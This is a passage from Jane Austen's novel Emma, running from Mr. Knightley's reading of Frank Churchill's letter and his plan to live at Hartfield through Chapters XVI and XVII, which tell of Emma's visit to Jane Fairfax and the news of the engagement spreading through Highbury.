was now getting to the Box Hill party, +and grew uncomfortable. Her own behaviour had been so very improper! +She was deeply ashamed, and a little afraid of his next look. +It was all read, however, steadily, attentively, and without +the smallest remark; and, excepting one momentary glance at her, +instantly withdrawn, in the fear of giving pain--no remembrance +of Box Hill seemed to exist. + +"There is no saying much for the delicacy of our good friends, +the Eltons," was his next observation.--"His feelings are natural.-- +What! actually resolve to break with him entirely!--She felt +the engagement to be a source of repentance and misery to each-- +she dissolved it.--What a view this gives of her sense of +his behaviour!--Well, he must be a most extraordinary--" + +"Nay, nay, read on.--You will find how very much he suffers." + +"I hope he does," replied Mr. Knightley coolly, and resuming the letter. +"`Smallridge!'--What does this mean? What is all this?" + +"She had engaged to go as governess to Mrs. Smallridge's children-- +a dear friend of Mrs. Elton's--a neighbour of Maple Grove; and, +by the bye, I wonder how Mrs. Elton bears the disappointment?" + +"Say nothing, my dear Emma, while you oblige me to read--not even +of Mrs. Elton. Only one page more. I shall soon have done. +What a letter the man writes!" + +"I wish you would read it with a kinder spirit towards him." + +"Well, there _is_ feeling here.--He does seem to have suffered in finding +her ill.--Certainly, I can have no doubt of his being fond of her. +`Dearer, much dearer than ever.' I hope he may long continue to feel +all the value of such a reconciliation.--He is a very liberal thanker, +with his thousands and tens of thousands.--`Happier than I deserve.' +Come, he knows himself there. `Miss Woodhouse calls me the child +of good fortune.'--Those were Miss Woodhouse's words, were they?-- +And a fine ending--and there is the letter. The child of good fortune! +That was your name for him, was it?" + +"You do not appear so well satisfied with his letter as I am; +but still you must, at least I hope you must, think the better +of him for it. I hope it does him some service with you." + +"Yes, certainly it does. He has had great faults, faults of +inconsideration and thoughtlessness; and I am very much of his +opinion in thinking him likely to be happier than he deserves: +but still as he is, beyond a doubt, really attached to Miss Fairfax, +and will soon, it may be hoped, have the advantage of being constantly +with her, I am very ready to believe his character will improve, +and acquire from hers the steadiness and delicacy of principle +that it wants. And now, let me talk to you of something else. +I have another person's interest at present so much at heart, +that I cannot think any longer about Frank Churchill. Ever since I +left you this morning, Emma, my mind has been hard at work on +one subject." + +The subject followed; it was in plain, unaffected, gentlemanlike English, +such as Mr. Knightley used even to the woman he was in love with, +how to be able to ask her to marry him, without attacking the +happiness of her father. Emma's answer was ready at the first word. +"While her dear father lived, any change of condition must be impossible +for her. She could never quit him." Part only of this answer, +however, was admitted. The impossibility of her quitting her father, +Mr. Knightley felt as strongly as herself; but the inadmissibility +of any other change, he could not agree to. He had been thinking +it over most deeply, most intently; he had at first hoped to induce +Mr. Woodhouse to remove with her to Donwell; he had wanted to believe +it feasible, but his knowledge of Mr. Woodhouse would not suffer +him to deceive himself long; and now he confessed his persuasion, +that such a transplantation would be a risk of her father's comfort, +perhaps even of his life, which must not be hazarded. Mr. Woodhouse +taken from Hartfield!--No, he felt that it ought not to be attempted. +But the plan which had arisen on the sacrifice of this, he trusted +his dearest Emma would not find in any respect objectionable; +it was, that he should be received at Hartfield; that so long as +her father's happiness in other words his life--required Hartfield +to continue her home, it should be his likewise. + +Of their all removing to Donwell, Emma had already had her own +passing thoughts. Like him, she had tried the scheme and rejected it; +but such an alternative as this had not occurred to her. +She was sensible of all the affection it evinced. She felt that, +in quitting Donwell, he must be sacrificing a great deal of independence +of hours and habits; that in living constantly with her father, +and in no house of his own, there would be much, very much, +to be borne with. She promised to think of it, and advised him +to think of it more; but he was fully convinced, that no reflection +could alter his wishes or his opinion on the subject. He had +given it, he could assure her, very long and calm consideration; +he had been walking away from William Larkins the whole morning, +to have his thoughts to himself. + +"Ah! there is one difficulty unprovided for," cried Emma. "I am +sure William Larkins will not like it. You must get his consent +before you ask mine." + +She promised, however, to think of it; and pretty nearly promised, moreover, +to think of it, with the intention of finding it a very good scheme. + +It is remarkable, that Emma, in the many, very many, points of view +in which she was now beginning to consider Donwell Abbey, was never +struck with any sense of injury to her nephew Henry, whose rights +as heir-expectant had formerly been so tenaciously regarded. +Think she must of the possible difference to the poor little boy; +and yet she only gave herself a saucy conscious smile about it, +and found amusement in detecting the real cause of that violent +dislike of Mr. Knightley's marrying Jane Fairfax, or any body else, +which at the time she had wholly imputed to the amiable solicitude of +the sister and the aunt. + +This proposal of his, this plan of marrying and continuing at Hartfield-- +the more she contemplated it, the more pleasing it became. +His evils seemed to lessen, her own advantages to increase, +their mutual good to outweigh every drawback. Such a companion +for herself in the periods of anxiety and cheerlessness before her!-- +Such a partner in all those duties and cares to which time must be +giving increase of melancholy! + +She would have been too happy but for poor Harriet; but every +blessing of her own seemed to involve and advance the sufferings +of her friend, who must now be even excluded from Hartfield. +The delightful family party which Emma was securing for herself, +poor Harriet must, in mere charitable caution, be kept at a +distance from. She would be a loser in every way. Emma could not +deplore her future absence as any deduction from her own enjoyment. +In such a party, Harriet would be rather a dead weight than otherwise; +but for the poor girl herself, it seemed a peculiarly cruel necessity +that was to be placing her in such a state of unmerited punishment. + +In time, of course, Mr. Knightley would be forgotten, that is, +supplanted; but this could not be expected to happen very early. +Mr. Knightley himself would be doing nothing to assist the cure;-- +not like Mr. Elton. Mr. Knightley, always so kind, so feeling, +so truly considerate for every body, would never deserve to be +less worshipped than now; and it really was too much to hope even +of Harriet, that she could be in love with more than _three_ men +in one year. + + + +CHAPTER XVI + + +It was a very great relief to Emma to find Harriet as desirous +as herself to avoid a meeting. Their intercourse was painful +enough by letter. How much worse, had they been obliged to meet! + +Harriet expressed herself very much as might be supposed, +without reproaches, or apparent sense of ill-usage; and yet Emma fancied +there was a something of resentment, a something bordering on it in +her style, which increased the desirableness of their being separate.-- +It might be only her own consciousness; but it seemed as if an +angel only could have been quite without resentment under such a stroke. + +She had no difficulty in procuring Isabella's invitation; +and she was fortunate in having a sufficient reason for asking it, +without resorting to invention.--There was a tooth amiss. +Harriet really wished, and had wished some time, to consult a dentist. +Mrs. John Knightley was delighted to be of use; any thing of ill +health was a recommendation to her--and though not so fond of a +dentist as of a Mr. Wingfield, she was quite eager to have Harriet +under her care.--When it was thus settled on her sister's side, +Emma proposed it to her friend, and found her very persuadable.-- +Harriet was to go; she was invited for at least a fortnight; she was +to be conveyed in Mr. Woodhouse's carriage.--It was all arranged, +it was all completed, and Harriet was safe in Brunswick Square. + +Now Emma could, indeed, enjoy Mr. Knightley's visits; now she +could talk, and she could listen with true happiness, unchecked by +that sense of injustice, of guilt, of something most painful, +which had haunted her when remembering how disappointed a heart was +near her, how much might at that moment, and at a little distance, +be enduring by the feelings which she had led astray herself. + +The difference of Harriet at Mrs. Goddard's, or in London, made perhaps +an unreasonable difference in Emma's sensations; but she could not +think of her in London without objects of curiosity and employment, +which must be averting the past, and carrying her out of herself. + +She would not allow any other anxiety to succeed directly to the place +in her mind which Harriet had occupied. There was a communication +before her, one which _she_ only could be competent to make-- +the confession of her engagement to her father; but she would +have nothing to do with it at present.--She had resolved to defer +the disclosure till Mrs. Weston were safe and well. No additional +agitation should be thrown at this period among those she loved-- +and the evil should not act on herself by anticipation before the +appointed time.--A fortnight, at least, of leisure and peace of mind, +to crown every warmer, but more agitating, delight, should be hers. + +She soon resolved, equally as a duty and a pleasure, to employ half +an hour of this holiday of spirits in calling on Miss Fairfax.-- +She ought to go--and she was longing to see her; the resemblance of +their present situations increasing every other motive of goodwill. +It would be a _secret_ satisfaction; but the consciousness of a +similarity of prospect would certainly add to the interest with +which she should attend to any thing Jane might communicate. + +She went--she had driven once unsuccessfully to the door, but had +not been into the house since the morning after Box Hill, when poor +Jane had been in such distress as had filled her with compassion, +though all the worst of her sufferings had been unsuspected.-- +The fear of being still unwelcome, determined her, though assured +of their being at home, to wait in the passage, and send up her name.-- +She heard Patty announcing it; but no such bustle succeeded as poor +Miss Bates had before made so happily intelligible.--No; she heard +nothing but the instant reply of, "Beg her to walk up;"--and a moment +afterwards she was met on the stairs by Jane herself, coming eagerly +forward, as if no other reception of her were felt sufficient.-- +Emma had never seen her look so well, so lovely, so engaging. +There was consciousness, animation, and warmth; there was every +thing which her countenance or manner could ever have wanted.-- +She came forward with an offered hand; and said, in a low, but very +feeling tone, + +"This is most kind, indeed!--Miss Woodhouse, it is impossible +for me to express--I hope you will believe--Excuse me for being +so entirely without words." + +Emma was gratified, and would soon have shewn no want of words, +if the sound of Mrs. Elton's voice from the sitting-room had not +checked her, and made it expedient to compress all her friendly +and all her congratulatory sensations into a very, very earnest +shake of the hand. + +Mrs. Bates and Mrs. Elton were together. Miss Bates was out, +which accounted for the previous tranquillity. Emma could have +wished Mrs. Elton elsewhere; but she was in a humour to have patience +with every body; and as Mrs. Elton met her with unusual graciousness, +she hoped the rencontre would do them no harm. + +She soon believed herself to penetrate Mrs. Elton's thoughts, +and understand why she was, like herself, in happy spirits; +it was being in Miss Fairfax's confidence, and fancying herself +acquainted with what was still a secret to other people. +Emma saw symptoms of it immediately in the expression of her face; +and while paying her own compliments to Mrs. Bates, and appearing +to attend to the good old lady's replies, she saw her with a sort +of anxious parade of mystery fold up a letter which she had apparently +been reading aloud to Miss Fairfax, and return it into the purple +and gold reticule by her side, saying, with significant nods, + +"We can finish this some other time, you know. You and I shall +not want opportunities. And, in fact, you have heard all the +essential already. I only wanted to prove to you that Mrs. S. admits +our apology, and is not offended. You see how delightfully +she writes. Oh! she is a sweet creature! You would have doated +on her, had you gone.--But not a word more. Let us be discreet-- +quite on our good behaviour.--Hush!--You remember those lines-- +I forget the poem at this moment: + + "For when a lady's in the case, + "You know all other things give place." + +Now I say, my dear, in _our_ case, for _lady_, read----mum! a word +to the wise.--I am in a fine flow of spirits, an't I? But I want +to set your heart at ease as to Mrs. S.--_My_ representation, you see, +has quite appeased her." + +And again, on Emma's merely turning her head to look +at Mrs. Bates's knitting, she added, in a half whisper, + +"I mentioned no _names_, you will observe.--Oh! no; cautious as +a minister of state. I managed it extremely well." + +Emma could not doubt. It was a palpable display, repeated on every +possible occasion. When they had all talked a little while in harmony +of the weather and Mrs. Weston, she found herself abruptly addressed with, + +"Do not you think, Miss Woodhouse, our saucy little friend here is +charmingly recovered?--Do not you think her cure does Perry the +highest credit?--(here was a side-glance of great meaning at Jane.) +Upon my word, Perry has restored her in a wonderful short time!-- +Oh! if you had seen her, as I did, when she was at the worst!"-- +And when Mrs. Bates was saying something to Emma, whispered farther, +"We do not say a word of any _assistance_ that Perry might have; +not a word of a certain young physician from Windsor.--Oh! no; +Perry shall have all the credit." + +"I have scarce had the pleasure of seeing you, Miss Woodhouse," +she shortly afterwards began, "since the party to Box Hill. +Very pleasant party. But yet I think there was something wanting. +Things did not seem--that is, there seemed a little cloud upon +the spirits of some.--So it appeared to me at least, but I might +be mistaken. However, I think it answered so far as to tempt one +to go again. What say you both to our collecting the same party, +and exploring to Box Hill again, while the fine weather lasts?-- +It must be the same party, you know, quite the same party, +not _one_ exception." + +Soon after this Miss Bates came in, and Emma could not help being diverted +by the perplexity of her first answer to herself, resulting, she supposed, +from doubt of what might be said, and impatience to say every thing. + +"Thank you, dear Miss Woodhouse, you are all kindness.--It is impossible +to say--Yes, indeed, I quite understand--dearest Jane's prospects-- +that is, I do not mean.--But she is charmingly recovered.-- +How is Mr. Woodhouse?--I am so glad.--Quite out of my power.-- +Such a happy little circle as you find us here.--Yes, indeed.-- +Charming young man!--that is--so very friendly; I mean good Mr. Perry!-- +such attention to Jane!"--And from her great, her more than commonly +thankful delight towards Mrs. Elton for being there, Emma guessed +that there had been a little show of resentment towards Jane, +from the vicarage quarter, which was now graciously overcome.-- +After a few whispers, indeed, which placed it beyond a guess, +Mrs. Elton, speaking louder, said, + +"Yes, here I am, my good friend; and here I have been so long, +that anywhere else I should think it necessary to apologise; +but, the truth is, that I am waiting for my lord and master. +He promised to join me here, and pay his respects to you." + +"What! are we to have the pleasure of a call from Mr. Elton?-- +That will be a favour indeed! for I know gentlemen do not like +morning visits, and Mr. Elton's time is so engaged." + +"Upon my word it is, Miss Bates.--He really is engaged from morning +to night.--There is no end of people's coming to him, on some pretence +or other.--The magistrates, and overseers, and churchwardens, +are always wanting his opinion. They seem not able to do any thing +without him.--`Upon my word, Mr. E.,' I often say, `rather you than I.-- +I do not know what would become of my crayons and my instrument, +if I had half so many applicants.'--Bad enough as it is, for I +absolutely neglect them both to an unpardonable degree.--I believe +I have not played a bar this fortnight.--However, he is coming, +I assure you: yes, indeed, on purpose to wait on you all." And putting +up her hand to screen her words from Emma--"A congratulatory visit, +you know.--Oh! yes, quite indispensable." + +Miss Bates looked about her, so happily!-- + +"He promised to come to me as soon as he could disengage himself +from Knightley; but he and Knightley are shut up together +in deep consultation.--Mr. E. is Knightley's right hand." + +Emma would not have smiled for the world, and only said, "Is Mr. Elton +gone on foot to Donwell?--He will have a hot walk." + +"Oh! no, it is a meeting at the Crown, a regular meeting. +Weston and Cole will be there too; but one is apt to speak only +of those who lead.--I fancy Mr. E. and Knightley have every thing +their own way." + +"Have not you mistaken the day?" said Emma. "I am almost certain +that the meeting at the Crown is not till to-morrow.--Mr. Knightley +was at Hartfield yesterday, and spoke of it as for Saturday." + +"Oh! no, the meeting is certainly to-day," was the abrupt answer, +which denoted the impossibility of any blunder on Mrs. Elton's side.-- +"I do believe," she continued, "this is the most troublesome parish +that ever was. We never heard of such things at Maple Grove." + +"Your parish there was small," said Jane. + +"Upon my word, my dear, I do not know, for I never heard the subject +talked of." + +"But it is proved by the smallness of the school, which I have heard +you speak of, as under the patronage of your sister and Mrs. Bragge; +the only school, and not more than five-and-twenty children." + +"Ah! you clever creature, that's very true. What a thinking brain +you have! I say, Jane, what a perfect character you and I should make, +if we could be shaken together. My liveliness and your solidity +would produce perfection.--Not that I presume to insinuate, however, +that _some_ people may not think _you_ perfection already.--But hush!-- +not a word, if you please." + +It seemed an unnecessary caution; Jane was wanting to give her words, +not to Mrs. Elton, but to Miss Woodhouse, as the latter plainly saw. +The wish of distinguishing her, as far as civility permitted, +was very evident, though it could not often proceed beyond a look. + +Mr. Elton made his appearance. His lady greeted him with some +of her sparkling vivacity. + +"Very pretty, sir, upon my word; to send me on here, to be an +encumbrance to my friends, so long before you vouchsafe to come!-- +But you knew what a dutiful creature you had to deal with. +You knew I should not stir till my lord and master appeared.-- +Here have I been sitting this hour, giving these young ladies +a sample of true conjugal obedience--for who can say, you know, +how soon it may be wanted?" + +Mr. Elton was so hot and tired, that all this wit seemed thrown away. +His civilities to the other ladies must be paid; but his subsequent +object was to lament over himself for the heat he was suffering, +and the walk he had had for nothing. + +"When I got to Donwell," said he, "Knightley could not be found. +Very odd! very unaccountable! after the note I sent him this morning, +and the message he returned, that he should certainly be at home +till one." + +"Donwell!" cried his wife.--"My dear Mr. E., you have not been +to Donwell!--You mean the Crown; you come from the meeting at the Crown." + +"No, no, that's to-morrow; and I particularly wanted to see Knightley +to-day on that very account.--Such a dreadful broiling morning!-- +I went over the fields too--(speaking in a tone of great ill-usage,) +which made it so much the worse. And then not to find him at home! +I assure you I am not at all pleased. And no apology left, no message +for me. The housekeeper declared she knew nothing of my being expected.-- +Very extraordinary!--And nobody knew at all which way he was gone. +Perhaps to Hartfield, perhaps to the Abbey Mill, perhaps into his woods.-- +Miss Woodhouse, this is not like our friend Knightley!--Can you +explain it?" + +Emma amused herself by protesting that it was very extraordinary, +indeed, and that she had not a syllable to say for him. + +"I cannot imagine," said Mrs. Elton, (feeling the indignity as a wife +ought to do,) "I cannot imagine how he could do such a thing by you, +of all people in the world! The very last person whom one should expect +to be forgotten!--My dear Mr. E., he must have left a message for you, +I am sure he must.--Not even Knightley could be so very eccentric;-- +and his servants forgot it. Depend upon it, that was the case: +and very likely to happen with the Donwell servants, who are all, +I have often observed, extremely awkward and remiss.--I am sure I +would not have such a creature as his Harry stand at our sideboard +for any consideration. And as for Mrs. Hodges, Wright holds +her very cheap indeed.--She promised Wright a receipt, and never +sent it." + +"I met William Larkins," continued Mr. Elton, "as I got near +the house, and he told me I should not find his master at home, +but I did not believe him.--William seemed rather out of humour. +He did not know what was come to his master lately, he said, but he +could hardly ever get the speech of him. I have nothing to do with +William's wants, but it really is of very great importance that _I_ +should see Knightley to-day; and it becomes a matter, therefore, +of very serious inconvenience that I should have had this hot walk +to no purpose." + +Emma felt that she could not do better than go home directly. +In all probability she was at this very time waited for there; +and Mr. Knightley might be preserved from sinking deeper in aggression +towards Mr. Elton, if not towards William Larkins. + +She was pleased, on taking leave, to find Miss Fairfax determined +to attend her out of the room, to go with her even downstairs; +it gave her an opportunity which she immediately made use of, +to say, + +"It is as well, perhaps, that I have not had the possibility. +Had you not been surrounded by other friends, I might have been +tempted to introduce a subject, to ask questions, to speak more +openly than might have been strictly correct.--I feel that I should +certainly have been impertinent." + +"Oh!" cried Jane, with a blush and an hesitation which Emma thought +infinitely more becoming to her than all the elegance of all her +usual composure--"there would have been no danger. The danger +would have been of my wearying you. You could not have gratified +me more than by expressing an interest--. Indeed, Miss Woodhouse, +(speaking more collectedly,) with the consciousness which I +have of misconduct, very great misconduct, it is particularly +consoling to me to know that those of my friends, whose good +opinion is most worth preserving, are not disgusted to such a +degree as to--I have not time for half that I could wish to say. +I long to make apologies, excuses, to urge something for myself. +I feel it so very due. But, unfortunately--in short, if your +compassion does not stand my friend--" + +"Oh! you are too scrupulous, indeed you are," cried Emma warmly, +and taking her hand. "You owe me no apologies; and every body to +whom you might be supposed to owe them, is so perfectly satisfied, +so delighted even--" + +"You are very kind, but I know what my manners were to you.-- +So cold and artificial!--I had always a part to act.--It was a life +of deceit!--I know that I must have disgusted you." + +"Pray say no more. I feel that all the apologies should be on my side. +Let us forgive each other at once. We must do whatever is to be +done quickest, and I think our feelings will lose no time there. +I hope you have pleasant accounts from Windsor?" + +"Very." + +"And the next news, I suppose, will be, that we are to lose you-- +just as I begin to know you." + +"Oh! as to all that, of course nothing can be thought of yet. +I am here till claimed by Colonel and Mrs. Campbell." + +"Nothing can be actually settled yet, perhaps," replied Emma, +smiling--"but, excuse me, it must be thought of." + +The smile was returned as Jane answered, + +"You are very right; it has been thought of. And I will own +to you, (I am sure it will be safe), that so far as our living +with Mr. Churchill at Enscombe, it is settled. There must be +three months, at least, of deep mourning; but when they are over, +I imagine there will be nothing more to wait for." + +"Thank you, thank you.--This is just what I wanted to be assured of.-- +Oh! if you knew how much I love every thing that is decided and open!-- +Good-bye, good-bye." + + + +CHAPTER XVII + + +Mrs. Weston's friends were all made happy by her safety; +and if the satisfaction of her well-doing could be increased +to Emma, it was by knowing her to be the mother of a little girl. +She had been decided in wishing for a Miss Weston. She would +not acknowledge that it was with any view of making a match +for her, hereafter, with either of Isabella's sons; but she was +convinced that a daughter would suit both father and mother best. +It would be a great comfort to Mr. Weston, as he grew older-- +and even Mr. Weston might be growing older ten years hence--to have +his fireside enlivened by the sports and the nonsense, the freaks +and the fancies of a child never banished from home; and Mrs. Weston-- +no one could doubt that a daughter would be most to her; and it +would be quite a pity that any one who so well knew how to teach, +should not have their powers in exercise again. + +"She has had the advantage, you know, of practising on me," +she continued--"like La Baronne d'Almane on La Comtesse d'Ostalis, +in Madame de Genlis' Adelaide and Theodore, and we shall now see +her own little Adelaide educated on a more perfect plan." + +"That is," replied Mr. Knightley, "she will indulge her even more +than she did you, and believe that she does not indulge her at all. +It will be the only difference." + +"Poor child!" cried Emma; "at that rate, what will become of her?" + +"Nothing very bad.--The fate of thousands. She will be disagreeable +in infancy, and correct herself as she grows older. I am losing +all my bitterness against spoilt children, my dearest Emma. +I, who am owing all my happiness to _you_, would not it be horrible +ingratitude in me to be severe on them?" + +Emma laughed, and replied: "But I had the assistance of all +your endeavours to counteract the indulgence of other people. +I doubt whether my own sense would have corrected me without it." + +"Do you?--I have no doubt. Nature gave you understanding:-- +Miss Taylor gave you principles. You must have done well. +My interference was quite as likely to do harm as good. It was +very natural for you to say, what right has he to lecture me?-- +and I am afraid very natural for you to feel that it was done +in a disagreeable manner. I do not believe I did you any good. +The good was all to myself, by making you an object of the tenderest +affection to me. I could not think about you so much without doating +on you, faults and all; and by dint of fancying so many errors, +have been in love with you ever since you were thirteen at least." + +"I am sure you were of use to me," cried Emma. "I was very often +influenced rightly by you--oftener than I would own at the time. +I am very sure you did me good. And if poor little Anna Weston is +to be spoiled, it will be the greatest humanity in you to do as much +for her as you have done for me, except falling in love with her +when she is thirteen." + +"How often, when you were a girl, have you said to me, with one +of your saucy looks--`Mr. Knightley, I am going to do so-and-so; +papa says I may, or I have Miss Taylor's leave'--something which, +you knew, I did not approve. In such cases my interference was giving +you two bad feelings instead of one." + +"What an amiable creature I was!--No wonder you should hold +my speeches in such affectionate remembrance." + +"`Mr. Knightley.'--You always called me, `Mr. Knightley;' and, +from habit, it has not so very formal a sound.--And yet it is formal. +I want you to call me something else, but I do not know what." + +"I remember once calling you `George,' in one of my amiable fits, +about ten years ago. I did it because I thought it would offend you; +but, as you made no objection, I never did it again." + +"And cannot you call me `George' now?" + +"Impossible!--I never can call you any thing but `Mr. Knightley.' +I will not promise even to equal the elegant terseness of Mrs. Elton, +by calling you Mr. K.--But I will promise," she added presently, +laughing and blushing--"I will promise to call you once by your +Christian name. I do not say when, but perhaps you may guess +where;--in the building in which N. takes M. for better, for worse." + +Emma grieved that she could not be more openly just to one +important service which his better sense would have rendered her, +to the advice which would have saved her from the worst of all +her womanly follies--her wilful intimacy with Harriet Smith; +but it was too tender a subject.--She could not enter on it.-- +Harriet was very seldom mentioned between them. This, on his side, +might merely proceed from her not being thought of; but Emma +was rather inclined to attribute it to delicacy, and a suspicion, +from some appearances, that their friendship were declining. +She was aware herself, that, parting under any other circumstances, +they certainly should have corresponded more, and that her +intelligence would not have rested, as it now almost wholly did, +on Isabella's letters. He might observe that it was so. The pain +of being obliged to practise concealment towards him, was very little +inferior to the pain of having made Harriet unhappy. + +Isabella sent quite as good an account of her visitor as could +be expected; on her first arrival she had thought her out of spirits, +which appeared perfectly natural, as there was a dentist to +be consulted; but, since that business had been over, she did not +appear to find Harriet different from what she had known her before.-- +Isabella, to be sure, was no very quick observer; yet if Harriet +had not been equal to playing with the children, it would not have +escaped her. Emma's comforts and hopes were most agreeably carried on, +by Harriet's being to stay longer; her fortnight was likely to be +a month at least. Mr. and Mrs. John Knightley were to come down +in August, and she was invited to remain till they could bring her back. + +"John does not even mention your friend," said Mr. Knightley. +"Here is his answer, if you like to see it." + +It was the answer to the communication of his intended marriage. +Emma accepted it with a very eager hand, with an impatience all alive +to know what he would say about it, and not at all checked by hearing +that her friend was unmentioned. + +"John enters like a brother into my happiness," continued Mr. Knightley, +"but he is no complimenter; and though I well know him to have, +likewise, a most brotherly affection for you, he is so far from +making flourishes, that any other young woman might think him rather +cool in her praise. But I am not afraid of your seeing what he writes." + +"He writes like a sensible man," replied Emma, when she had read +the letter. "I honour his sincerity. It is very plain that he +considers the good fortune of the engagement as all on my side, +but that he is not without hope of my growing, in time, as worthy +of your affection, as you think me already. Had he said any thing +to bear a different construction, I should not have believed him." + +"My Emma, he means no such thing. He only means--" + +"He and I should differ very little in our estimation of the two," +interrupted she, with a sort of serious smile--"much less, perhaps, +than he is aware of, if we could enter without ceremony or reserve +on the subject." + +"Emma, my dear Emma--" + +"Oh!" she cried with more thorough gaiety, "if you fancy your +brother does not do me justice, only wait till my dear father is in +the secret, and hear his opinion. Depend upon it, he will be much +farther from doing _you_ justice. He will think all the happiness, +all the advantage, on your side of the question; all the merit +on mine. I wish I may not sink into `poor Emma' with him at once.-- +His tender compassion towards oppressed worth can go no farther." + +"Ah!" he cried, "I wish your father might be half as easily convinced +as John will be, of our having every right that equal worth can give, +to be happy together. I am amused by one part of John's letter-- +did you notice it?--where he says, that my information did not take +him wholly by surprize, that he was rather in expectation of hearing +something of the kind." + +"If I understand your brother, he only means so far as your having +some thoughts of marrying. He had no idea of me. He seems perfectly +unprepared for that." + +"Yes, yes--but I am amused that he should have seen so far into +my feelings. What has he been judging by?--I am not conscious +of any difference in my spirits or conversation that could prepare +him at this time for my marrying any more than at another.-- +But it was so, I suppose. I dare say there was a difference when I +was staying with them the other day. I believe I did not play +with the children quite so much as usual. I remember one evening +the poor boys saying, `Uncle seems always tired now.'" + +The time was coming when the news must spread farther, and other persons' +reception of it tried. As soon as Mrs. Weston was sufficiently +recovered to admit Mr. Woodhouse's visits, Emma having it in view +that her gentle reasonings should be employed in the cause, +resolved first to announce it at home, and then at Randalls.-- +But how to break it to her father at last!--She had bound herself +to do it, in such an hour of Mr. Knightley's absence, or when it +came to the point her heart would have failed her, and she must +have put it off; but Mr. Knightley was to come at such a time, +and follow up the beginning she was to make.--She was forced +to speak, and to speak cheerfully too. She must not make it a more +decided subject of misery to him, by a melancholy tone herself. +She must not appear to think it a misfortune.--With all the spirits +she could command, she prepared him first for something strange, +and then, in a few words, said, that if his consent and approbation +could be obtained--which, she trusted, would be attended with +no difficulty, since it was a plan to promote the happiness of all-- +she and Mr. Knightley meant to marry; by which means Hartfield +would receive the constant addition of that person's company +whom she knew he loved, next to his daughters and Mrs. Weston, +best in the world. + +Poor man!--it was at first a considerable shock to him, and he tried +earnestly to dissuade her from it. She was reminded, more than once, +of having always said she would never marry, and assured that it +would be a great deal better for her to remain single; and told of +poor Isabella, and poor Miss Taylor.--But it would not do. Emma hung +about him affectionately, and smiled, and said it must be so; and that +he must not class her with Isabella and Mrs. Weston, whose marriages +taking them from Hartfield, had, indeed, made a melancholy change: +but she was not going from Hartfield; she should be always there; +she was introducing no change in their numbers or their comforts but +for the better; and she was very sure that he would be a great deal +the happier for having Mr. Knightley always at hand, when he were once +got used to the idea.--Did he not love Mr. Knightley very much?-- +He would not deny that he did, she was sure.--Whom did he ever want +to consult on business but Mr. Knightley?--Who was so useful to him, +who so ready to write his letters, who so glad to assist him?-- +Who so cheerful, so attentive, so attached to him?--Would not he +like to have him always on the spot?--Yes. That was all very true. +Mr. Knightley could not be there too often; he should be glad to see +him every day;--but they did see him every day as it was.--Why could +not they go on as they had done? + +Mr. Woodhouse could not be soon reconciled; but the worst was overcome, +the idea was given; time and continual repetition must do the rest.-- +To Emma's entreaties and assurances succeeded Mr. Knightley's, +whose fond praise of her gave the subject even a kind of welcome; +and he was soon used to be talked to by each, on every fair occasion.-- +They had all the assistance which Isabella could give, by letters +of the strongest approbation; and Mrs. Weston was ready, +on the first meeting, to consider the subject in the most +serviceable light--first, as a settled, and, secondly, as a good one-- +well aware of the nearly equal importance of the two recommendations +to Mr. Woodhouse's mind.--It was agreed upon, as what was to be; +and every body by whom he was used to be guided assuring him that +it would be for his happiness; and having some feelings himself +which almost admitted it, he began to think that some time or other-- +in another year or two, perhaps--it might not be so very bad +if the marriage did take place. + +Mrs. Weston was acting no part, feigning no feelings in all that she +said to him in favour of the event.--She had been extremely surprized, +never more so, than when Emma first opened the affair to her; +but she saw in it only increase of happiness to all, and had +no scruple in urging him to the utmost.--She had such a regard +for Mr. Knightley, as to think he deserved even her dearest Emma; +and it was in every respect so proper, suitable, and unexceptionable +a connexion, and in one respect, one point of the highest importance, +so peculiarly eligible, so singularly fortunate, that now it seemed +as if Emma could not safely have attached herself to any other creature, +and that she had herself been the stupidest of beings in not having +thought of it, and wished it long ago.--How very few of those men +in a rank of life to address Emma would have renounced their own +home for Hartfield! And who but Mr. Knightley could know and bear +with Mr. Woodhouse, so as to make such an arrangement desirable!-- +The difficulty of disposing of poor Mr. Woodhouse had been always +felt in her husband's plans and her own, for a marriage between Frank +and Emma. How to settle the claims of Enscombe and Hartfield had +been a continual impediment--less acknowledged by Mr. Weston than +by herself--but even he had never been able to finish the subject +better than by saying--"Those matters will take care of themselves; +the young people will find a way." But here there was nothing to be +shifted off in a wild speculation on the future. It was all right, +all open, all equal. No sacrifice on any side worth the name. +It was a union of the highest promise of felicity in itself, +and without one real, rational difficulty to oppose or delay it. + +Mrs. Weston, with her baby on her knee, indulging in such reflections +as these, was one of the happiest women in the world. If any thing +could increase her delight, it was perceiving that the baby would +soon have outgrown its first set of caps. + +The news was universally a surprize wherever it spread; +and Mr. Weston had his five minutes share of it; but five minutes +were enough to familiarise the idea to his quickness of mind.-- +He saw the advantages of the match, and rejoiced in them with all +the constancy of his wife; but the wonder of it was very soon nothing; +and by the end of an hour he was not far from believing that he +had always foreseen it. + +"It is to be a secret, I conclude," said he. "These matters are +always a secret, till it is found out that every body knows them. +Only let me be told when I may speak out.--I wonder whether Jane has +any suspicion." + +He went to Highbury the next morning, and satisfied himself on +that point. He told her the news. Was not she like a daughter, +his eldest daughter?--he must tell her; and Miss Bates being present, +it passed, of course, to Mrs. Cole, Mrs. Perry, and Mrs. Elton, +immediately afterwards. It was no more than the principals were +prepared for; they had calculated from the time of its being known +at Randalls, how soon it would be over Highbury; and were thinking +of themselves, as the evening wonder in many a family circle, +with great sagacity. + +In general, it was a very well approved match. Some might think him, +and others might think her, the most in luck. One set might +recommend their all removing to Donwell, and leaving Hartfield +for the John Knightleys; and another might predict disagreements +among their servants; but yet, upon the whole, there was no serious +objection raised, except in one habitation, the Vicarage.--There, +the surprize was not softened by any satisfaction. Mr. Elton +cared little about it, compared with his wife; he only hoped "the +young lady's pride would now be contented;" and supposed "she had +always meant to catch Knightley if she could;" and, on the point +of living at Hartfield, could daringly exclaim, "Rather he than I!"-- +But Mrs. Elton was very much discomposed indeed.--"Poor Knightley! +poor fellow!--sad business for him.--She was extremely concerned; +for, though very eccentric, he had a thousand good qualities.-- +How could he be so taken in?--Did not think him at all in love-- +not in the least.--Poor Knightley!--There would be an end of all +pleasant intercourse with him.--How happy he had been to come and dine +with them whenever they asked him! But that would be all over now.-- +Poor fellow!--No more exploring parties to Donwell made for _her_. +Oh! no; there would be a Mrs. Knightley to throw cold water on +every thing.--Extremely disagreeable! But she was not at all sorry +that she had abused the housekeeper the other day.--Shocking plan, +living together. It would never do. She knew a family near Maple +Grove who had tried it, and been obliged to separate before the end +of the first quarter. + + + +CHAPTER XVIII + + +Time passed on. A few more 